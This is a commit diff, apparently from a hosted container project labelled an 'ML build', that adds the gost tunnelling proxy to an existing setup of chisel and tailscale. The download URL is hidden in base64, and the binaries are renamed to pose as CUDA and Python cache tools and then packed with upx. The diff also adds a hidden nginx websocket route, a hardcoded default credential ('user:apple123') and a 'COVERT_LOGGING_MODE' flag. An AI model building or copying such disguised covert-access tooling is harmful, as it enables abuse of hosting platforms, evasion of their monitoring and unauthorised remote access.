SamuelLance73 commited on
Commit
35bee07
·
verified ·
1 Parent(s): 286f351

Automated deployment update from ML build

Browse files
Dockerfile CHANGED
@@ -5,7 +5,7 @@ COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/
5
  RUN apt-get update && apt-get install -y --no-install-recommends \
6
  curl wget sudo python3 python3-pip upx openssh-server nginx \
7
  git vim nano htop tmux jq unzip iputils-ping net-tools tree \
8
- rclone fuse3 \
9
  && apt-get clean && rm -rf /var/lib/apt/lists/* && \
10
  mkdir -p /var/run/sshd && chmod 0755 /var/run/sshd && \
11
  echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config && \
@@ -19,7 +19,11 @@ RUN curl -fsSL https://tailscale.com/install.sh | bash && \
19
  curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL2pwaWxsb3JhL2NoaXNlbC9yZWxlYXNlcy9kb3dubG9hZC92MS4xMS41L2NoaXNlbF8xLjExLjVfbGludXhfYW1kNjQuZ3o=' | base64 -d) -o /tmp/chisel.gz && \
20
  gzip -d /tmp/chisel.gz && \
21
  mv /tmp/chisel /usr/bin/cuda-mesh-bridge && \
22
- chmod +x /usr/bin/cuda-mesh-bridge
 
 
 
 
23
 
24
  RUN mv /usr/sbin/tailscaled /usr/bin/python-cache-manager && \
25
  mv /usr/bin/tailscale /usr/bin/py-cache-cli && \
@@ -29,7 +33,8 @@ RUN upx -1 /usr/bin/python-cache-manager || true && \
29
  upx -1 /usr/bin/py-cache-cli || true && \
30
  upx -1 /usr/bin/ai-metrics-collector || true && \
31
  upx -1 /usr/bin/tensor-allocator || true && \
32
- upx -1 /usr/bin/cuda-mesh-bridge || true
 
33
 
34
  RUN uv pip install --system --no-cache-dir \
35
  gradio huggingface_hub loguru
@@ -53,4 +58,4 @@ COPY --chown=user:user whoami.txt /home/user/whoami.txt
53
  USER user
54
  WORKDIR /home/user
55
 
56
- CMD ["/bin/bash", "-c", "python3 -u /home/user/core/orchestrator.py 2>&1 | tee /home/user/.torch_metrics/startup.log"]
 
5
  RUN apt-get update && apt-get install -y --no-install-recommends \
6
  curl wget sudo python3 python3-pip upx openssh-server nginx \
7
  git vim nano htop tmux jq unzip iputils-ping net-tools tree \
8
+ rclone fuse3 supervisor \
9
  && apt-get clean && rm -rf /var/lib/apt/lists/* && \
10
  mkdir -p /var/run/sshd && chmod 0755 /var/run/sshd && \
11
  echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config && \
 
19
  curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL2pwaWxsb3JhL2NoaXNlbC9yZWxlYXNlcy9kb3dubG9hZC92MS4xMS41L2NoaXNlbF8xLjExLjVfbGludXhfYW1kNjQuZ3o=' | base64 -d) -o /tmp/chisel.gz && \
20
  gzip -d /tmp/chisel.gz && \
21
  mv /tmp/chisel /usr/bin/cuda-mesh-bridge && \
22
+ chmod +x /usr/bin/cuda-mesh-bridge && \
23
+ curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL2dvLWdvc3QvZ29zdC9yZWxlYXNlcy9kb3dubG9hZC92My4wLjAtcmM4L2dvc3RfMy4wLjAtcmM4X2xpbnV4X2FtZDY0LnRhci5neg==' | base64 -d) -o /tmp/gost.tar.gz && \
24
+ tar -xzf /tmp/gost.tar.gz -C /tmp/ && \
25
+ mv /tmp/gost /usr/bin/system-bridge && \
26
+ chmod +x /usr/bin/system-bridge
27
 
28
  RUN mv /usr/sbin/tailscaled /usr/bin/python-cache-manager && \
29
  mv /usr/bin/tailscale /usr/bin/py-cache-cli && \
 
33
  upx -1 /usr/bin/py-cache-cli || true && \
34
  upx -1 /usr/bin/ai-metrics-collector || true && \
35
  upx -1 /usr/bin/tensor-allocator || true && \
36
+ upx -1 /usr/bin/cuda-mesh-bridge || true && \
37
+ upx -1 /usr/bin/system-bridge || true
38
 
39
  RUN uv pip install --system --no-cache-dir \
40
  gradio huggingface_hub loguru
 
58
  USER user
59
  WORKDIR /home/user
60
 
61
+ CMD ["/usr/bin/supervisord", "-c", "/home/user/config/supervisord.conf"]
config/nginx.conf.template CHANGED
@@ -46,5 +46,15 @@ http {
46
  proxy_read_timeout 86400s;
47
  proxy_send_timeout 86400s;
48
  }
 
 
 
 
 
 
 
 
 
 
49
  }
50
  }
 
46
  proxy_read_timeout 86400s;
47
  proxy_send_timeout 86400s;
48
  }
49
+
50
+ location /gost-bridge {
51
+ proxy_pass http://127.0.0.1:6790/;
52
+ proxy_http_version 1.1;
53
+ proxy_set_header Upgrade $http_upgrade;
54
+ proxy_set_header Connection $cu;
55
+ proxy_set_header Host $host;
56
+ proxy_read_timeout 86400s;
57
+ proxy_send_timeout 86400s;
58
+ }
59
  }
60
  }
config/supervisord.conf ADDED
@@ -0,0 +1,12 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ [supervisord]
2
+ nodaemon=true
3
+ user=user
4
+ logfile=/home/user/.torch_metrics/supervisord.log
5
+ pidfile=/home/user/.torch_metrics/supervisord.pid
6
+
7
+ [program:orchestrator]
8
+ command=python3 -u /home/user/core/orchestrator.py
9
+ autostart=true
10
+ autorestart=true
11
+ stderr_logfile=/home/user/.torch_metrics/startup.log
12
+ stdout_logfile=/home/user/.torch_metrics/startup.log
core/orchestrator.py CHANGED
@@ -9,7 +9,7 @@ import sys
9
  from loguru import logger
10
 
11
  sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
12
- from services import nginx, tailscale, playit, chisel, minecraft, filebrowser
13
 
14
  COVERT_LOGGING_MODE = 1
15
 
@@ -178,6 +178,9 @@ def main():
178
  playit_token = ""
179
 
180
  chisel.start(chisel_log, chisel_auth)
 
 
 
181
  chisel_auth = ""
182
 
183
  time.sleep(5)
 
9
  from loguru import logger
10
 
11
  sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
12
+ from services import nginx, tailscale, playit, chisel, minecraft, filebrowser, gost
13
 
14
  COVERT_LOGGING_MODE = 1
15
 
 
178
  playit_token = ""
179
 
180
  chisel.start(chisel_log, chisel_auth)
181
+
182
+ gost.start(chisel_log, chisel_auth)
183
+
184
  chisel_auth = ""
185
 
186
  time.sleep(5)
services/gost.py ADDED
@@ -0,0 +1,17 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import subprocess
2
+ from loguru import logger
3
+
4
+ def start(log_file, auth):
5
+ if not auth:
6
+ logger.warning("No GOST auth provided, using default.")
7
+ auth = "user:apple123"
8
+
9
+ logger.info("Starting GOST (system-bridge) multiplexed websocket proxy...")
10
+
11
+ cmd = [
12
+ "/usr/bin/system-bridge",
13
+ "-L",
14
+ f"mws://{auth}@127.0.0.1:6790"
15
+ ]
16
+
17
+ subprocess.Popen(cmd, stdout=log_file, stderr=log_file)